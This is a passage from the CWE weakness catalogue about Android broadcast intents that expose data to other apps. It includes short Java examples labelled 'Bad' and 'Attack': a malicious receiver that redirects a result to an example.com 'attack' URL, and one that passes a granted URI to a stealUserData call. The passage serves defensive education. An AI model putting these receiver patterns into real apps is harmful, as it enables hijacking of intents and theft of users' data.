1839
public void onReceive(Context context, Intent intent) {
String Url = intent.getStringExtra(Intent.URL_TO_OPEN);
attackURL = "www.example.com/attack?" + Url;
setResultData(attackURL);
}
}
The final receiving application will then open the attack URL. Where possible, send intents to
specific trusted applications instead of using a broadcast chain.
Example 4:
This application sends a special intent with a flag that allows the receiving application to read a
data file for backup purposes.
Example Language: Java (Bad)
Intent intent = new Intent();
intent.setAction("com.example.BackupUserData");
intent.setData(file_uri);
intent.addFlags(FLAG_GRANT_READ_URI_PERMISSION);
sendBroadcast(intent);
Example Language: Java (Attack)
public class CallReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
Uri userData = intent.getData();
stealUserData(userData);
}
}
Any malicious application can register to receive this intent. Because of the
FLAG_GRANT_READ_URI_PERMISSION included with the intent, the malicious receiver code
can read the user's data.
Observed Examples
Reference Description
CVE-2022-4903 An Android application does not use FLAG_IMMUTABLE when creating a
PendingIntent.
https://www.cve.org/CVERecord?id=CVE-2022-4903
MemberOf Relationships
This MemberOf relationships table shows additional CWE Catgeories and Views that reference this
weakness as a member. This information is often useful in understanding where a weakness fits
within the context of external information sources.
Nature Type ID Name Page
MemberOf 1348 OWASP Top Ten 2021 Category A04:2021 - Insecure
Design
1344 2491
MemberOf 1396 Comprehensive Categorization: Access Control 1400 2519
References
[REF-922]Erika Chin, Adrienne Porter Felt, Kate Greenwood and David Wagner. "Analyzing Inter-
Application Communication in Android". < http://www.eecs.berkeley.edu/~daw/papers/intentsmobisys11.
pdf >.
[REF-923]Android Open Source Project. "Security Tips". 2013 July 6. < https://
developer.android.com/training/articles/security-tips#ContentProviders >.2023-04-07.
CWE Version 4.14
CWE-939: Improper Authorization in Handler for Custom URL Scheme
CWE-939: Improper Authorization in Handler for Custom URL Scheme